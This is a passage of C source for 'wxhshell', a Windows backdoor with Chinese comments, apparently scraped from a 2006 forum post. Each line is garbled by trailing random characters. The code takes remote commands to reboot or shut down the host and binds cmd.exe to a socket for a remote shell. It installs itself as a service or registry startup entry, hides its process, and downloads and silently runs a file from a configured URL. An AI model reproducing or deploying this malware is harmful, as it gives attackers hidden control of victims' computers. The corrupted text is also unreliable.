  else { Q~*3Z4)j  
U|h@Pw z  
    switch(cmd[0]) { CvTgtZ '  
  \b88=^  
  // 帮助 qf] OSd  
  case '?': { $0iN43WSQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y@%6*uTLa  
    break; m4P=,=%  
  } Df/f&;`  
  // 安装 Q^V`%+  
  case 'i': { r3{o _w  
    if(Install()) w_J`29uc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >BQF<  
    else 4sK|l|W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NU/~E"^I.  
    break; 1[`l`Truz  
    } b_Ky@kp  
  // 卸载 eEe8T=mD  
  case 'r': { ]i]sgg[  
    if(Uninstall()) ?t.?f`(|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f{Y|FjPp=E  
    else cl7+DAE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zck |jhJ6  
    break; f<'&_*7,|t  
    } "/XS3s v"s  
  // 显示 wxhshell 所在路径 e]X9"sd0=  
  case 'p': { &(^>}&XS.<  
    char svExeFile[MAX_PATH]; /0YNB)  
    strcpy(svExeFile,"\n\r"); vDOeBw=  
      strcat(svExeFile,ExeFile); IO_H%/v"jC  
        send(wsh,svExeFile,strlen(svExeFile),0); 7erao-  
    break; .}y Lz  
    } #WpO9[b>  
  // 重启 Z*e7W O.  
  case 'b': { t@19a6:Co  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nt[0krG  
    if(Boot(REBOOT)) " Gn; Q-@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U ._1'pW  
    else { =yNHJHRA#  
    closesocket(wsh); #XY]@V\  
    ExitThread(0); cwC, VYVl  
    } $BBfsaJPT  
    break; /s*>V@Q  
    } \T]"pE+8l  
  // 关机 x}>tX  
  case 'd': { Tx_(^K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b~1p.J4  
    if(Boot(SHUTDOWN)) ng<`2XgU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tw3d>H`  
    else { 'IW+"o  
    closesocket(wsh); kWz%v  
    ExitThread(0); rqh,BkQ0t  
    } QBn>@jq  
    break; &{=~)>h  
    } a!^wc,  
  // 获取shell A07 P$3>/W  
  case 's': { +@qk=]3a  
    CmdShell(wsh); ]D-48o0  
    closesocket(wsh); O.}gG6u5  
    ExitThread(0); tx1jBh:e=  
    break; z|?R=;,u`  
  } Po4cbFZ  
  // 退出 |8`;55G  
  case 'x': { TgB;R5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); imhq*f#A[  
    CloseIt(wsh); l?1!h2z%  
    break; p+7BsW.l  
    } !^fJAtCN]  
  // 离开 ;VFr5.*x  
  case 'q': { o%QQ7S3 P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pz IMj_  
    closesocket(wsh); yl 8v&e{  
    WSACleanup(); 4F4u1r+  
    exit(1); Q%xY/xH]  
    break; ?(<AT]hV:  
        } pOYtN1uN|  
  } YPy))>Q>cK  
  } G([vy#p  
@!'H'GvA  
  // 提示信息 #Fd( [Zx#.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xbtv}g<0c  
} (}}8DB  
  } -d3y!| \>a  
td&l T(7  
  return; Bw=[g&+o1@  
} g&vEc1LNo  
bX(*f>G'  
// shell模块句柄 _z5CplO  
int CmdShell(SOCKET sock) C|zH {.H  
{ wf@2&vJ  
STARTUPINFO si; Qd4T?5 vG  
ZeroMemory(&si,sizeof(si)); &P3vcB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [;f"',)y,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^aW[~ c  
PROCESS_INFORMATION ProcessInfo; V$%K=[  
char cmdline[]="cmd"; ZO 1J";>u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5l}h8So4  
  return 0; Zn0fgQd  
} g\)z!DQ]  
R,bcE4WR"  
// 自身启动模式 iP%=Wo.  
int StartFromService(void) )\;r V';  
{ [E~TYk;  
typedef struct E}=,"i  
{ cj<@~[uw  
  DWORD ExitStatus; gAY2|/,  
  DWORD PebBaseAddress; KxwLKaImI  
  DWORD AffinityMask; n_Y]iAoc`  
  DWORD BasePriority; (Qm;]?/  
  ULONG UniqueProcessId; VC(|t} L4  
  ULONG InheritedFromUniqueProcessId; sEN@q   
}   PROCESS_BASIC_INFORMATION; 3Q}Y?rkJ5  
*$$V, 6O.  
PROCNTQSIP NtQueryInformationProcess; __iyBaX  
3T/j5m}+!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ( `+Z'Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fLoVcl  
] O>7x  
  HANDLE             hProcess; A%2}?Ds  
  PROCESS_BASIC_INFORMATION pbi; uCfp+  
;/T-rVND  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,-Nk-g  
  if(NULL == hInst ) return 0; <R>ZG"m{  
BD-=y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K:@=W1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h,'+w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @EZONKT  
l5ds`uR#  
  if (!NtQueryInformationProcess) return 0; }z+"3A|  
[1^wy#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yo,!u\^x  
  if(!hProcess) return 0; r&sOM_BUF  
Q$L(fH kw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "'B%.a#k  
HjS^ nYl  
  CloseHandle(hProcess); E0]h|/A]  
mm-UQ\h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^(*O$N*#  
if(hProcess==NULL) return 0; Jk`)`94 I  
D#1~]d  
HMODULE hMod; X", 0VO  
char procName[255]; C}'="g^=sl  
unsigned long cbNeeded; "|*Kf#  
; S ` -9}6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (x0*(*A}  
lkg*AAR?'  
  CloseHandle(hProcess); oK:P@V6!  
.{ a2z*o  
if(strstr(procName,"services")) return 1; // 以服务启动 _j\=FJz[  
7O{O')o!  
  return 0; // 注册表启动 $uK"@Mw  
} 5qkuK F  
dHF$T33It  
// 主模块 6oh@$.ThG  
int StartWxhshell(LPSTR lpCmdLine) cN lY=L  
{ e)dWa'2<  
  SOCKET wsl; etMh=/NFV  
BOOL val=TRUE; IKzRM|/  
  int port=0; KI@    
  struct sockaddr_in door; TTZxkK  
Df:7P>  
  if(wscfg.ws_autoins) Install(); 56SS >b  
@@3,+7%1  
port=atoi(lpCmdLine); w1@b5-  
s~X*U&}5  
if(port<=0) port=wscfg.ws_port; O& %"F8B  
pNE\@U|4E  
  WSADATA data; @ PoFxv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fCf#zV[  
K}E7|gdG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9me}&Fdr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1~5q:X  
  door.sin_family = AF_INET; H4'DL'83  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t_>bTcsU  
  door.sin_port = htons(port); dEd]U49u  
B5,QJ W*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k)usUP'  
closesocket(wsl); koEX4q  
return 1; UcLNMn|  
} VMZ]n%XRXW  
}pE~85h4M  
  if(listen(wsl,2) == INVALID_SOCKET) { zP(=,)d  
closesocket(wsl); g2{H^YUN$_  
return 1; }{wTlR.]  
} (21 W6  
  Wxhshell(wsl); tdnXPxn[  
  WSACleanup(); 2iPmCG  
yOUX E>-  
return 0; mk%"G=w  
S`@6c$y k  
} Ur([L&  
k'ZUBTRq!  
// 以NT服务方式启动 Go\} A:|s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2@3.xG  
{ $TA6S+  
DWORD   status = 0; gJ3OK!/  
  DWORD   specificError = 0xfffffff; jxnQG A  
En,)}yI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~i }+P71  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }xf='lE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nRXSW&V"m  
  serviceStatus.dwWin32ExitCode     = 0; kUg+I_j6*  
  serviceStatus.dwServiceSpecificExitCode = 0; UGmuX:@y76  
  serviceStatus.dwCheckPoint       = 0; :qAc= IC%  
  serviceStatus.dwWaitHint       = 0; =l8!VJa  
O[(?.9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,zN3? /7  
  if (hServiceStatusHandle==0) return; OJ35En  
d2A wvP  
status = GetLastError(); S?Bc~y  
  if (status!=NO_ERROR) lP@)   
{ C,{F0-D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xA&  
    serviceStatus.dwCheckPoint       = 0; pG!(6V-x<E  
    serviceStatus.dwWaitHint       = 0; nrTv=*tDj  
    serviceStatus.dwWin32ExitCode     = status; 9P7xoXJ@y  
    serviceStatus.dwServiceSpecificExitCode = specificError; WjY{rM,K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vr{'FMc  
    return; 5>ADw3z'  
  } 0Oc}rRH(C  
3'[Rvy{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vQK n=  
  serviceStatus.dwCheckPoint       = 0; *U;4t/(  
  serviceStatus.dwWaitHint       = 0; DIG0:)4R.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jtp>m?1Ve  
} [;?"R-V"z  
JFG",09]  
// 处理NT服务事件,比如:启动、停止 f`hyYp`d5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) egI{!bZg'\  
{ ,pyQP^u-  
switch(fdwControl) QGH h;  
{ 1m>^{u  
case SERVICE_CONTROL_STOP: |oe!P}u  
  serviceStatus.dwWin32ExitCode = 0; ?{ B[^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cQ(}^KO  
  serviceStatus.dwCheckPoint   = 0; -XBKOybHBO  
  serviceStatus.dwWaitHint     = 0; |;A9A's  
  { DO&+=o`"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 83KfM!w  
  } h_&4p= SQ  
  return; ptV4s=G2  
case SERVICE_CONTROL_PAUSE: _{6,.TN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~LawF_]6  
  break; I!fB1aq-  
case SERVICE_CONTROL_CONTINUE: 8%o~4u3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lo+xo;Nd  
  break; `E3:;|  
case SERVICE_CONTROL_INTERROGATE:  2Vp>"  
  break; X,RT<GNNb  
}; m<FF$pTT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ${hyNt  
} R9tckRG#  
|H ^w>mk  
// 标准应用程序主函数 !}>eo2$r^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DeOXM=&z  
{ '8 )Wd"[  
mi7sBA9L8  
// 获取操作系统版本 l^k+E-w\  
OsIsNt=GetOsVer(); Mjb 1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p`>AnfG  
5oz>1  
  // 从命令行安装 ow2M,KU6Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6xQ"bFm  
sA/,+aM  
  // 下载执行文件 B/jrYT$;m  
if(wscfg.ws_downexe) { Ln ~4mN^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <1aa~duT  
  WinExec(wscfg.ws_filenam,SW_HIDE); DpA\r_D  
} "_ LkZBW.  
7{n\y l?  
if(!OsIsNt) { f;.SSiT  
// 如果时win9x,隐藏进程并且设置为注册表启动 )fNGB]%  
HideProc(); q}>M& *  
StartWxhshell(lpCmdLine); 3YR* ^  
} 6#<Ir @z  
else ]{YN{  
  if(StartFromService()) ! L4dUMo  
  // 以服务方式启动 Dba+z-3Nzy  
  StartServiceCtrlDispatcher(DispatchTable); H}vn$$ O  
else 8NnhT E  
  // 普通方式启动 z>6.[Z(T  
  StartWxhshell(lpCmdLine); c  Qld$  
u\`/Nhn  
return 0; o g_Ri$x8  
}
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只看该作者 1 发表于: 2006-10-10
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